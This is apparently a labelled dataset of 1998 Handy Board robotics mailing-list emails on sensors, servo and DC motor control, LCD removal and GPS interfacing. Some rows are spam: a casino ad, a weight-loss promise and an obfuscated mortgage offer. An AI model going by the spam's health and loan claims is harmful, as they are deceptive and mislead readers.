that is in the can and has 3 pins behind the can. With this detector, the IR Tx must be OSC about 38k-40k Hz. You can adjust the range by varying the freq. around. Here is info on IR detector: http://www.nwlink.com/~kevinro/guide/infrared.html Regards, -Pandit ",0,1 """Fred G. Martin"" ",brian-c@technologist.com,"Fri, 05 Jun 1998 08:25:50 -0400",Re: Infrared Optosensors ,"1/2"" is actually pretty good range for a basic reflectance sensor. try using them in the analog inputs -- you should get readings that let you read out to about 1"". to get better than that, you need a modulated signal, like Pandit has described. Fred In your message you said: > I interfaced 3 infrared optosensors to the digital inputs on the handyboard. I'm a little dissapointed in their performance however. The only time they give a reading of ""true"" is if they are about a half an inch or closer from the tar get. Any further away than half an inch results in a ""false"" reading because th e sensors are out of range. > > Is there any way at all to have a bigger range. I want to have the sensors 2 inches away from what they are to detect. If anyone has been using the optosens ors I'd like a little input. > > -Should I use smaller resistors on the sensors? > > -Is the range short because of how fast the digital(); function checks the se nsor? If it took longer to check would it then give the sensor more time to let the infrared beam to reflect back? > > -Do I need stronger optosensors all together? > ( I'm using the Quality Tech. 1114, as shown in the HB manual ) > > Thanks in advance, > _________________________________________________ > ///////////////////////////////////////////////// > Brian Carvalho [ brian-c@ieee.org ] > DeVRY Institute > New Jersey > _________________________________________________ > ///////////////////////////////////////////////// > --------------------------------------------------- > Get free personalized email at http://www.iname.com > ",0,1 Jonathan Swaby ,"Robot Board , handyboard@media.mit.edu","Fri, 05 Jun 1998 10:50:23 -0400",Radio Shack Tape Measure,"Can anyone point me to an article on connecting the Radio Shack Tape Measure to the MIT 6.2 controller board. Also, has anyone used this device with either the miniboard or the handyboard. thank you ___________________________________________________________ ______________________________________________________ Jonathan Swaby 305 Sparks Bldg Computer Support Specialist 814-865-0693 Penn State University mailto:jfs10@psu.edu Department of Speech Communication http://cac.psu.edu/~jfs10 Department of Philosophy ______________________________________________________ ___________________________________________________________ ",0,1 Diane ,"handyboard@mailhub.media.mit.edu, daryl@mailhub.media.mit.edu, earnestine@mailhub.media.mit.edu, cynthia@mailhub.media.mit.edu, henrietta@mailhub.media.mit.edu, sara@mailhub.media.mit.edu, yvonne@mailhub.media.mit.edu, marla@mailhub.media.mit.edu","Thu, 04 Jun 1998 13:53:08 -0700",casino cash journey," HiRoller Casino $888 free bonus for new players Fast Payouts, fair gaming Start earning real money! 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Martin wrote: > > 1/2"" is actually pretty good range for a basic reflectance sensor. > try using them in the analog inputs -- you should get readings that > let you read out to about 1"". > > to get better than that, you need a modulated signal, like Pandit has > described. > > Fred > > In your message you said: > > I interfaced 3 infrared optosensors to the digital inputs on the handyboard. > I'm a little dissapointed in their performance however. The only time they give > a reading of ""true"" is if they are about a half an inch or closer from the tar > get. Any further away than half an inch results in a ""false"" reading because th > e sensors are out of range. > > > > Is there any way at all to have a bigger range. I want to have the sensors 2 > inches away from what they are to detect. If anyone has been using the optosens > ors I'd like a little input. > > > > -Should I use smaller resistors on the sensors? > > > > -Is the range short because of how fast the digital(); function checks the se > nsor? If it took longer to check would it then give the sensor more time to let > the infrared beam to reflect back? > > > > -Do I need stronger optosensors all together? > > ( I'm using the Quality Tech. 1114, as shown in the HB manual ) > > > > Thanks in advance, > > _________________________________________________ > > ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ > > Brian Carvalho [ brian-c@ieee.org ] > > DeVRY Institute > > New Jersey > > _________________________________________________ > > ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ > > --------------------------------------------------- > > Get free personalized email at http://www.iname.com > > -- ---------------------------------------------------------------- Randy Sargent Newton Research Labs President Robotic Systems and Software rsargent@newtonlabs.com http://www.newtonlabs.com/ ",0,1 Stephen Lee ,Jonathan Swaby ,"Fri, 05 Jun 1998 08:43:02 -0700",Re: Radio Shack Tape Measure,"There were two enthusiasts who did hacks on the Radio Shack Tape Measure, Jonathan, back in February of 1994. Their names are Thomas Rowley and Brian Van Mondfrans. Brian was at Thurston High School in the Puget Sound area back then so you might find what you need by browsing the Seattle Robotics Society web page....http://www.seattlerobotics.org/contact.html Good luck and enjoy! de AB7HI, Stephen Lee, University of Washington On Fri, 5 Jun 1998, Jonathan Swaby wrote: > Can anyone point me to an article on connecting the Radio Shack Tape > Measure to the MIT 6.2 controller board. Also, has anyone used this device > with either the miniboard or the handyboard. > thank you > Jonathan Swaby 305 Sparks Bldg > Penn State University mailto:jfs10@psu.edu ",0,1 Chris Rhodes ,Chad K Humberstone ,"Fri, 05 Jun 1998 15:28:39 -0500",Re: DC VS SERVO,"That still does not tell me the difference between how they are diven. For instance, can you use the 4 motor ports to drive a servo motor? If not why? Any help appreciated. Chris Rhodes Chad K Humberstone wrote: > Chris, > See pages 20 and 21(pdf pages 25 and 26) of the handyboard technical > reference. Download it from this page: > http://el.www.media.mit.edu/groups/el/projects/handy-board/techdocs/index.html. > > Chris Rhodes wrote: > > > > HELLO, > > MY NAME IS CHRIS RHODES AND I AM CONFUSED ABOUT THE DIFFERENCE > > BETWEEN A SERVO MOTOR AND A DC MOTOR. THE HANDYBOARD LITERATURE SAYS > > THERE ARE THE 4 DC MOTOR OUTPUTS AND 1 DIGITAL INPUT THAT CAN USED AS A > > SERVO OUTPUT. WHAT IS THE DIFFERENCE IN HOW YOU DRIVE THE DIFFERENT > > MOTORS. ANY HELP WOULD BE APPRECIATED. THANK YOU > > > > CHRIS RHODES ",0,1 Aaron Milton-Eldridge ,HandyBoard Mailing List ,"Fri, 05 Jun 1998 22:04:48 +0100",Lego motors,"This subject has most probably been discussed numerous times but I'm kinda new to this mailing list and the Handyboard so bare with me. What are the pros and cons of using Lego motors to drive a robot project that I have in mind ???, should I scrape this idea and go for servos ??? Any comments would be hugely appreciated. One other quick question, are there any UK based Handyboard user groups??? Thanks in advance Aaron Milton-Eldridge ",0,0 GJZ@aol.com,handyboard@media.mit.edu,"Fri, 05 Jun 1998 17:30:41 -0400",lego robot servomotor,"i have a motor that is manufactured by lego, and has a 4 pin connector which is in the shape of a lego block. i am new to lego robots, so i do not know what the various parts look like exactly. the motor that i have is about 1.25"" cube, and seems to be geared down slightly. does anyone know if lego manufactures DC motors that are geared down, or any DC motors at all, or just servo motors. i think that this is a servo, and i also need to find literature for this device, as i do not have any. can anyone help me identify this device? thanks for your help. ",0,0 willbain@cs.umt.edu,handyboard@media.mit.edu,"Fri, 05 Jun 1998 16:11:50 -0600",Re: lego robot servomotor,"> From: GJZ@aol.com > i have a motor that is manufactured by lego, and has a 4 pin connector which > is in the shape of a lego block. i am new to lego robots, so i do not know > what the various parts look like exactly. the motor that i have is about > 1.25"" cube, and seems to be geared down slightly. does anyone know if lego > manufactures DC motors that are geared down, or any DC motors at all, or just > servo motors. i think that this is a servo, and i also need to find > literature for this device, as i do not have any. can anyone help me identify > this device? thanks for your help. What you have is most likely a 9V DC motor, not a servo. As far as I know, there is no such thing as a Lego servo motor. The four-contact plug is a Lego standard that allows changing the polarity simply by rotating the plug 90 degrees. There are actually just two wires going to the motor. There are two main types of 9V Lego Technic motor: the old, non-geared style and the new gear motor. (There are also the Technic micro-motor and various non-Technic motors, like the kind that come with the railroad sets). The Technic gear motor has the contacts recessed into the top and a slot for the wire also in the top. The regular (non-gear) motor is a plain old rectangular block shape with the contacts on the bottom. Both types of Lego Technic motor seem to be quite efficient and can be run directly from the HB without the need for a separate motor battery pack. I think that the new gear motors are better than the old, block-shaped motors, mainly because they're more compact (require fewer external gears to achieve usable RPM) and probably more efficient, too. At $18 or so, the new gear motor is about the least expensive gear motor you'll find. I have been unable to find any specs on these motors, but then I haven't really looked for 'em. --Will ",0,0 brian-c@technologist.com,handyboard@media.mit.edu,"Fri, 05 Jun 1998 18:20:53 -0400",LCD Removal,"I was just wondering if there's any way to disable and remove the LCD screen and still have the HB work. My design does not require the LCD, so if i could remove it my robot would then be a little more balanced. Every time I remove the LCD my programs wont run. *maybe this question should be directly aimed at a response from Randy & Fred. Thanks in advance, and I *REALLY* hope there is a way to do this! _________________________________________________ ������������������������������������������������� Brian Carvalho [ brian-c@ieee.org ] DeVRY Institute New Jersey _________________________________________________ ������������������������������������������������� --------------------------------------------------- Get free personalized email at http://www.iname.com ",0,1 willbain@cs.umt.edu,handyboard@media.mit.edu,"Fri, 05 Jun 1998 16:22:35 -0600",Re: Lego motors,"> From ameldridge@fwd.ndirect.co.uk Fri Jun 5 15:22:24 1998 > What are the > pros and cons of using Lego motors to drive a robot project that I have in > mind ???, should I scrape this idea and go for servos ??? As I've said, I think the new Lego Technic gear motors are a great deal. They're inexpensive (about $18 each), they seem to be quite efficient, and they run well directly from the HB power supply. If you're building your robot out of Legos (and maybe even if you're not), then I personally recommend the new Lego Technic gear motors. If you do get servos, make sure they're the kind with the full circular gears, so that you can hack them for continuous rotation (I've heard that some of the smaller servos out there have partial gears). Tower Hobbies has good prices (they're on the web). Bear in mind that you might need a separate battery pack for the motors if they can't handle 9.6 V. --Will ",0,0 """Fred G. Martin"" ",brian-c@technologist.com,"Fri, 05 Jun 1998 19:22:26 -0400",Re: LCD Removal ,"it's easy: just use the replacement pcode_hb.s19 file provided by Kent Farnsworth: http://el.www.media.mit.edu/projects/handy-board/software/contrib/kent/no_lcd/ Fred In your message you said: > I was just wondering if there's any way to disable and remove the LCD screen and still have the HB work. My design does not require the LCD, so if i could r emove it my robot would then be a little more balanced. Every time I remove the LCD my programs wont run. > > *maybe this question should be directly aimed at a response from Randy & Fred . > > Thanks in advance, and I *REALLY* hope there is a way to do this! > _________________________________________________ > ///////////////////////////////////////////////// > Brian Carvalho [ brian-c@ieee.org ] > DeVRY Institute > New Jersey > _________________________________________________ > ///////////////////////////////////////////////// > --------------------------------------------------- > Get free personalized email at http://www.iname.com > ",0,1 Chris Rhodes ,humbersc@et.byu.edu,"Fri, 05 Jun 1998 18:25:46 -0500",motors,"That did answer my question. I am not familiar with servo motors, I have only used plain DC motors. I am also familiar with PWM. I was just unable to determine if the same PWM signal that drives plain DC motors could also drive servo motors. From what I understand a servo motor and DC motor use PWM to control the speed, and if that is the case I did not see the difference in using the same PWM signal that drives a DC motor to also drive a servo motor. Thank you for all of your help. If I stated anything incorrectly in this paragraph please correct me. Chris ",0,0 Joseph R Knight ,"""Fred G. Martin"" ","Fri, 05 Jun 1998 20:49:49 -0400",Re: LCD Removal,"Hello, Does anyone know if the Rug Warior Pcode run without the LCD? (Pcoderwl.S19) If not : 1 is there another RW pcode that will run without the LCD? I using the RW pcode on my Fingerboard II with out the LCD and I think this may be an issue. Thanks. Fred G. Martin wrote: > it's easy: just use the replacement pcode_hb.s19 file provided by > Kent Farnsworth: > > http://el.www.media.mit.edu/projects/handy-board/software/contrib/kent/no_lcd/ > > Fred > > In your message you said: > > I was just wondering if there's any way to disable and remove the LCD screen > and still have the HB work. My design does not require the LCD, so if i could r > emove it my robot would then be a little more balanced. Every time I remove the > LCD my programs wont run. > > > > *maybe this question should be directly aimed at a response from Randy & Fred > . > > > > Thanks in advance, and I *REALLY* hope there is a way to do this! > > _________________________________________________ > > ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ > > Brian Carvalho [ brian-c@ieee.org ] > > DeVRY Institute > > New Jersey > > _________________________________________________ > > ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ > > --------------------------------------------------- > > Get free personalized email at http://www.iname.com > > ",0,1 John Wong ,"crhodes@students.uwf.edu, humbersc@et.byu.edu","Sat, 06 Jun 1998 17:44:41 +1000",Re: motors,"For servo, there is a certain threshold duty cycle (say 50%) of the PWM signal, where anything above this threshold will make it to run forward, and less will make it to run backward. So, you still need to apply the PWM even if the servo is not moving. And this is because servo is originally used for moving at certain amount of angle, once it is modified as a driving unit, that angular feedback device within the servo will also be modified. And the detail of how it works has somthing to do with the threshold duty cycle. Please correct me if I am wrong, as I am also thinking about using dc motor or servo. John At 06:25 PM 6/5/98 -0500, Chris Rhodes wrote: >That did answer my question. I am not familiar with servo motors, I >have only used plain DC motors. I am also familiar with PWM. I was >just unable to determine if the same PWM signal that drives plain DC >motors could also drive servo motors. From what I understand a servo >motor and DC motor use PWM to control the speed, and if that is the case >I did not see the difference in using the same PWM signal that drives a >DC motor to also drive a servo motor. Thank you for all of your help. >If I stated anything incorrectly in this paragraph please correct me. > >Chris > > > ",0,0 Wiley Olson ,handyboard@media.mit.edu,"Sat, 06 Jun 1998 02:29:56 -0300",Lose Weight in 1 Week 5slhB," Revolutionary ""Hoodia"" which works effectively burning fats without hunger, chemicals intake or heavy exercise. Suppress your appetite and enjoying your very nice V-Shape body in just a week. You won't regret. http://043.healthisswesome.com FwAGh ",1,1 """Fred G. Martin"" ","John Wong , crhodes@students.uwf.edu, humbersc@et.byu.edu, handyboard@media.mit.edu","Sat, 06 Jun 1998 08:51:07 -0400",DC motors vs. servo motors,"The nature of the PWM (pulse width modulation) is entirely different for servo's vs. plain DC motors. For a DC motor, it has a two wire connection. All drive power is supplied over these two wires -- think of a light bulb. When you turn on a DC motor, it just starts spinning round and round. Most DC motors are pretty fast, about 5000 RPM (revolutions per minute). With the DC motor, pulse width modulation refers to the idea of controlling the power level by STROBING THE POWER ON AND OFF. The key concept here is DUTY CYCLE -- the percentage of ""on time"" versus ""off time."" If the power is on only 1/2 of the time, the motor runs with 1/2 the power of its full-on operation. If you switch the power on and off fast enough, then it just seems like the motor is running weaker -- there's no stuttering. This is what PWM means when referring to DC motors. The Handy Board's DC motor power drive circuits simply switch on and off, and the motor runs more slowly because it's only receiving power for 25%, 50%, or some other fractional percentage of the time. A servo motor is an entirely different story. The servo motor is actually an assembly of four things: a normal DC motor, a gear reduction unit, a position-sensing device (usually a potentiometer -- a volume control knob), and a control circuit. The function of the servo is to receive a control signal that represents a DESIRED OUTPUT POSITION OF THE SERVO SHAFT, and apply power to its DC motor until its shaft turns to that position. It uses the position-sensing device to determine the rotational position of the shaft, so it knows which way the motor must turn to move the shaft to the commanded position. The shaft typically does NOT rotate freely round and round like a DC motor, but rather can only turn 200 degrees or so back and forth. The servo has a 3 wire connection: power, ground, and control. The power source must be constantly applied; the servo has its own drive electronics that draw current from the power lead to drive the motor. The control signal is pulse width modulated (PWM), but here the DURATION of the positive-going pulse determines the POSITION of the servo shaft. For instance, a 1.520 millisecond pulse is the center position for a Futaba S148 servo. A longer pulse make the servo turn to a clockwise-from-center position, and a shorter pulse make the servo turn to a counter-clockwise-from-center position. The servo control pulse is repeated every 20 milliseconds. In essence, every 20 milliseconds you are telling the servo ""go here."" To recap, there are two important differences between the control pulse of the servo motor versus the DC motor. First, on the servo motor, duty cycle (on-time vs. off-time) has NO MEANING whatsoever -- all that matters is the absolute duration of the positive-going pulse, which corresponds to a commanded output position of the servo shaft. Second, the servo has its own power electronics, so VERY LITTLE POWER flows over the control signal. All power is draw from its power lead, which must be simply hooked up to a high-current source of 5 volts. Contrast this to the DC motor. On the Handy Board, there are specific motor driver circuits for four DC motors. Remember, a DC motor is like a light bulb; it has no electronics of its own and it requires a large amount of drive current to be supplied to it. This is the function of the L293D chips on the Handy Board, to act as large current switches for operating DC motors. Plans and software drivers have been given to operate two servo motors from the HB. This is done simply by taking spare digital outputs, which are used to generate the precise timing waveform that the servo uses as a control input. Very little current flows over these servo control signals, because the servo has its own internal drive electronics for running its built-in motors. Typically, the term PWM (pulse-width modulation) refers to power control on a DC motor, not the servo control waveform. I can see why it makes sense to call the servo control signal a pulse-width modulated signal (since the width of the pulses confers a positional meaning!), but it is not the traditional usage of the term. Fred In your message you said: > For servo, there is a certain threshold duty cycle (say 50%) of the PWM > signal, where anything above this threshold will make it to run forward, > and less will make it to run backward. So, you still need to apply the PWM > even if the servo is not moving. > And this is because servo is originally used for moving at certain amount > of angle, once it is modified as a driving unit, that angular feedback > device within the servo will also be modified. And the detail of how it > works has somthing to do with the threshold duty cycle. Please correct me > if I am wrong, as I am also thinking about using dc motor or servo. > > John > > At 06:25 PM 6/5/98 -0500, Chris Rhodes wrote: > >That did answer my question. I am not familiar with servo motors, I > >have only used plain DC motors. I am also familiar with PWM. I was > >just unable to determine if the same PWM signal that drives plain DC > >motors could also drive servo motors. From what I understand a servo > >motor and DC motor use PWM to control the speed, and if that is the case > >I did not see the difference in using the same PWM signal that drives a > >DC motor to also drive a servo motor. Thank you for all of your help. > >If I stated anything incorrectly in this paragraph please correct me. > > > >Chris > > > > > > > > ",0,0 GJZ@aol.com,handyboard@media.mit.edu,"Sat, 06 Jun 1998 13:39:42 -0400",serial communications,"i have been looking thru the libraries that people have posted on the web, particularly the ones that allow serial communication. i am not sure how the system works, but there are numerous routines which turn handshake on and off, as well as routines which will time out if there is no response from the receiving device. i am not sure what handshake is, i am guessing that it is a ""ready check"". i am wondering how the protocol for sending data is set up, and if there is a way to access the bare bones I/O that the HC11 comes with. is the difference extra software procedures that the HB uses to insure proper data transmission? is there any way that one can program the HB to use simple start/stopbit protocol to receive data. in particular, i am interested in interfacing the HB with a GPS receiver, which i know are designed to communicate with a microcontroller. what type of transfer protocol is used in this application? if anyone has info on libraries that allow this kind of communication, please let me know. or would this have to be done thru assembly language? thanks for your help. Justin D. Gullotta.. , Engineer, Rensselaer Polytechnic Institute. ",0,0 John Duff ,GJZ@aol.com,"Sat, 06 Jun 1998 14:23:08 -0500",Re: serial communications,"Justin, Interfacing a GPS to the handyboard is straight forward. Most GPS receivers comply with the National Marine Electronics Association (NMEA) standards. They transmit their information in ASCII ""sentences"" which are framed by a $ at the beginning and at the end. The data elements, such as lat, lon, elevation, speed and direction are comma delimited and their position in the sentence is determined by the NMEA standard. It is simply a matter of counting commas to identify any of the elements. Error checking is limited to a calculated checksum which is transmitted at the end of the sentence. It should be easy to recalculate this value (it is the XOR of all the data elements), and compare with the transmitted value. I have my Tripmate GPS unit connected, and I pull out current position. I use a V2X compass connected to SPI for heading info. Several good sites related to GPS and the NMEA standards are available. Here is a link to one you might try. ftp://sundae.triumf.ca/pub/peter/index.html#links If interested, I can send you the IC program I use. John GJZ@aol.com wrote: > i have been looking thru the libraries that people have posted on the web, > particularly the ones that allow serial communication. i am not sure how the > system works, but there are numerous routines which turn handshake on and off, > as well as routines which will time out if there is no response from the > receiving device. i am not sure what handshake is, i am guessing that it is a > ""ready check"". i am wondering how the protocol for sending data is set up, > and if there is a way to access the bare bones I/O that the HC11 comes with. > is the difference extra software procedures that the HB uses to insure proper > data transmission? is there any way that one can program the HB to use simple > start/stopbit protocol to receive data. in particular, i am interested in > interfacing the HB with a GPS receiver, which i know are designed to > communicate with a microcontroller. what type of transfer protocol is used in > this application? if anyone has info on libraries that allow this kind of > communication, please let me know. or would this have to be done thru > assembly language? thanks for your help. > > Justin D. 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Any one know how I can get my old com port back??????? com 1 is the mouse com 2 is the modem Thanks in advance Terry Gathright 669@worldnet.att.net",0,0 Sebastia Ortman ,handyboard@media.mit.edu,"Sat, 06 Jun 1998 10:51:33 -0700",Re: zubuc news,"De i ar Home O h wne n r , Your cr v ed b it doesn't matter to us ! If you OW k N real e n st y at l e and want I y MMED h IA r TE cas j h to sp w en y d ANY way you like, or simply wish to L v OWER your monthly p q aym c ents by a third or more, here are the de b als we have T v OD i AY : $ 4 g 88 , 000 at a 3 , l 67% fi d xed - rat u e $ 37 c 2 , 000 at a 3 u , 90% va n riab n le - ra z te $ 49 j 2 , 000 at a 3 , z 21% in q tere i st - only $ 24 t 8 , 000 at a 3 p , 36% f g ixed - ra h te $ 1 h 98 , 000 at a 3 l , 55% va v riable - ra p te Hurr r y, when these dea q Is are gone, they are gone ! Don't worry about a g pprova g l, your cr g edi n t will not di q squa o lify you ! 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John: I would be interested in seeing your code, for the reason that I have written a nice Perl program that will display GPS data in real-time, and was trying at one time to get support working for a Tripmate as well. The Tripmate that I borrowed had to go back to the owner too quick before I had it all working. I works very nicely with any Garmin GPS that I've tried it with, but of course the Tripmate needs a special sentence sent to it, and the handshaking has to be right (I needed to wire a special adapter to pass DTR through, and didn't get around to doing that). Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,0 Shawn Bynum ,bessie@ufs1.lancs.ac.uk,"Tue, 09 Jun 1998 10:18:25 +0300",Your first hour is on the house! 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",0,0 Bob Avanzato ,"brian-c@technologist.com, handyboard@media.mit.edu","Mon, 08 Jun 1998 13:37:53 -0400",Re: any micromice out there?,"Hi Brian, Several of my Penn State Abington freshman and sophomore engineering students constructed a working micromouse from LEGO and a HB. The approach was a vehicle that can only move in the north-south or east-west directions by alternately lowering and raising sets of powered wheels using a servo motor. (The same approach was used in a successful fire-fighting robot.) The robot uses 2, 9-volt LEGO motors, IR sensors from Radio Shack for wall-sensing, and is programmed in IC ( 500+ LOC). The micromouse earned second place in a MM contest sponsored by the Phila. IEEE section held at Drexel University this past March '98. Only 3 teams participated, but we were the only team with a home-built MM, the other schools in the area purchased ""Mappy"" robots from Japan which need be programmed in assembly language. The first version of the LEGO/HB robot for the 1997 MM contest was designed, constructed, and programmed in less than 2 weeks (including 1 week of Spring break) -- that's dedication. Unfortunately, a program bug surfaced during the '97 contest. Our robot is currently slow, but it was successful in solving the maze, and we hope to make some s/w changes to speed up execution time and improve the search technique. Due to the small size of a MM, the students found it very challenging to build a frame from LEGO -- but it certainly can be done. We did not have the time to explore many alternate approaches. The students maxed out the memory space on the HB at one point, but there is much room for improvements in efficiency -- the HB met the challenge. Some of our ""out of memory"" problems seemed to disappear with IC3.2. Software for a MM can be quite complex. When I get a chance I will post pictures and s/w of the MM robot, along with robots from our other contests. Good luck. Bob Avanzato Penn State Abington At 10:43 PM 6/7/98 -0400, brian-c@technologist.com wrote: >If anyone has used their HB for a micromouse, I'd like to hear your success stories or downfalls. Any tips anyone has would be appreciated. As well as descriptions of your mice. > >_________________________________________________ >¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ >Brian Carvalho [ brian-c@ieee.org ] >DeVRY Institute >New Jersey >_________________________________________________ >¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ >--------------------------------------------------- >Get free personalized email at http://www.iname.com > > ",0,1 Randy Sargent ,jrknight@theknights.cnchost.com,"Mon, 08 Jun 1998 12:25:51 -0700",Re: LCD Removal,"All pcodes shipped with IC 3.1/3.2 are designed to work fine either with or without LCD. Prior to 3.1, you have to build a pcode specially to disable the LCD. -- Randy Joseph R Knight wrote: > > Hello, > Does anyone know if the Rug Warior Pcode run without the LCD? (Pcoderwl.S19) > If not : 1 is there another RW pcode that will run without the LCD? I using the RW > pcode on my Fingerboard II with out the LCD and I think this may be an issue. > Thanks. > > Fred G. Martin wrote: > > > it's easy: just use the replacement pcode_hb.s19 file provided by > > Kent Farnsworth: > > > > http://el.www.media.mit.edu/projects/handy-board/software/contrib/kent/no_lcd/ > > > > Fred > > > > In your message you said: > > > I was just wondering if there's any way to disable and remove the LCD screen > > and still have the HB work. My design does not require the LCD, so if i could r > > emove it my robot would then be a little more balanced. Every time I remove the > > LCD my programs wont run. > > > > > > *maybe this question should be directly aimed at a response from Randy & Fred > > . > > > > > > Thanks in advance, and I *REALLY* hope there is a way to do this! > > > _________________________________________________ > > > ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ > > > Brian Carvalho [ brian-c@ieee.org ] > > > DeVRY Institute > > > New Jersey > > > _________________________________________________ > > > ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ > > > --------------------------------------------------- > > > Get free personalized email at http://www.iname.com > > > -- ---------------------------------------------------------------- Randy Sargent Newton Research Labs President Robotic Systems and Software rsargent@newtonlabs.com http://www.newtonlabs.com/ ",0,1 """Curt Mills, WE7U"" ",GJZ@aol.com,"Mon, 08 Jun 1998 12:41:03 -0700",Re: handshaking,"On Mon, 8 Jun 1998 GJZ@aol.com wrote: > could you please explain to me the details of handshaking? i need to > understand this before i can go any farther. exactly what is transponded > during this? and how is this implemented thru assembly language? thank you. Regarding your earlier message, if you're just wanting to talk to a GPS, then you don't need handshaking, because I haven't found one yet that supports it. It is a simple three-wire interface to most GPS's, TX/RX and Ground. They don't support software-handshaking in/out of GPS's, and the hardware handshaking lines just aren't present, so that's out too. If you miss sentences because of any reason at all, tough luck. What I ended up having to do with my IC programs was optimize them as much as possible so that I didn't lose many characters. They way I chose to do that (right or wrong) was to go snag a large buffer worth of characters all at once, and then run off and process that buffer's worth. I also couldn't really do much in the way of floating point or anything else that took up a lot of time. I think my update rate ended up being about once in four seconds, which means I was losing about half of the sentences at 4800 baud. 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My problem is that I need to hook one of the pins on the 2020 (the CLK pin) to a clock. I'd like to get ahold of the E pin on the microprossesor but I don't know where I can get that output on the handyboard. My only other option is to build my own clock. Help appreciated. Thanks, Chad ",0,0 John Duff ,"GJZ@aol.com, ""handyboard@media.mit.edu"" ","Mon, 08 Jun 1998 22:56:45 -0500",Re: serial communications,"Justin Here is the file. Please feel free to modify/improve. I'm a doctor not a programmer, and I better keep my day job. Notice it borrows Randy Sargent's and Dr. Richard F. Drushel's routines found in serialio.c and math.c, both on the handy board web site. This program could be used with any NEMA compliant GPS receiver. The Tripmate has two quirks: First, the DTR line is taken high to turn on the receiver. Second, after power up, the receiver sends an ASCII string 'ASTRAL' and waits for the computer to respond with the same string. I handled this by connecting two DB9 plugs together, shorting pins 2 and 3 (the Rx and Tx pins) on the GPS side and then connecting these to pin 3 on the handyboard end. This causes the 'Astral' string transmitted by the GPS unit to echo back and trick the GPS. Also connect pin 4 (DTR) to a lead and plug into any +5 v location on the handy board. Then connect the jumpered plug to the handy board serial adapter (GPS outputs at RS-232 signal levels, need to change to TTL.) Now when the handy board is turned on, the GPS unit is powered up and begins to acquire satalites. Sit back and wait untill you have a valid signal, and you're in business. I've made this sound hard, but it takes 15 minutes and a little solder. I started to write a routine for calculating the checksum and compare with transmitted, but never finished. What I have is at the end of the file. Possibly someone would like to finish it. I would appreciate any improvements. Thanks John GJZ@aol.com wrote: > John, > > yes i would appreciate getting the IC program you use. need the GPS receiver > that is used be a board, or may it be interfaced with a handheld unit. i was > planning on getting a board, such as the motorola oncore series. if it is > possible to interface the HB with a handheld unit? thank you in advance for > your generosity. > > Justin D. Gullotta.. , Engineer, > Rensselaer Polytechnic Institute. ",0,0 John Duff ,aarone@sirius.com,"Mon, 08 Jun 1998 23:15:49 -0500","Re: Include directive, HexMon","I had same problem, and found that if you put the include files in the same directory as your file to be complied, and then place the file in quotes (eg. #include ""6811regs.asm"") it will compile. John aarone@sirius.com wrote: > Hello, > I've been trying to compile .asm files using as11.exe. The files I > received with my copy of IC contain the #include directive. Does anyone > know of a copy of as11.exe that supports this? If I use as11_ic.bat, to > build an *.icb file, the gcc compiler says that it can't find the include > files, even when I specify the full path. Why is this? > Secondly, I am trying to get HexMon to run on my HandyBoard. It seems to > download correctly, but is there a quick way to test that it is running > correctly. Ultimately I want to get the MB_Test program to interface with > it, but it just hangs for now. > > Thanks, > Aaron Edsinger ",0,0 """Michael S. Reiling"" ",handyboard@media.mit.edu,"Mon, 08 Jun 1998 22:19:11 -0700",Legos,"I know someone just asked this question, but where can I buy just the lego motors, and not the $45.00 set from a toy store. Thanks, Mike ---------------------------------------------------------------- Mike Reiling macman@inreach.com University of the Pacific Student of Computer Science One tequila, two tequila, three tequila, floor. ---------------------------------------------------------------- ",0,0 Sterling ,"handyboard@media.mit.edu, ""Michael S. Reiling"" ","Tue, 09 Jun 1998 02:06:04 -0400",Re: Legos,"the motor is available via LEGO Shop at Home (S@H for short) tel: 1-800-453-4652 there are three kind of motors: #5114 $17.50 (the one that you see in #8270, old style) #5225 $17.50 (the one that in #8735, newer one, with gear reduction) #5119 $11.00 (micro motor, the one in set #8480 to open the satellite wings) the other source for LEGO motor is PITSCOm they carry the LEGO DACTA products tel: 1-800-362-4308 the part number: #775114 $24.50 (#5114) #775225 $24.50 (#5225) #775119 $23.00 (#5119) here is a scan of the parts from PITSCO http://www.ee.nmt.edu/~jmathis/dacta.html (this is NOT my webpage) so, it is cheaper to buy it from LEGO S@H, and you don't have to pay shipping if buying from S@H but, PITSCO carry some very neat parts which are not available from S@H, such as the large turntable (the one you see in set #8460, #8459, btw, the part# is 779876, 2 for $9.50 + shipping) and converyor belt links. PITSCO also have some sensors, such as light sensors, touch sensors, temperature sensors and angle sensors. I was wondering, does anybody ever use the angle sensors? it seem to be a fun one to play with... hope that helps Sterling -----Original Message----- From: Michael S. Reiling To: handyboard@media.mit.edu Date: Tuesday, June 09, 1998 1:28 AM Subject: Legos >I know someone just asked this question, but where can I buy just the lego >motors, and not the $45.00 set from a toy store. > > >Thanks, >Mike > >---------------------------------------------------------------- > Mike Reiling > macman@inreach.com > University of the Pacific > Student of Computer Science > > One tequila, two tequila, three tequila, floor. >---------------------------------------------------------------- > > 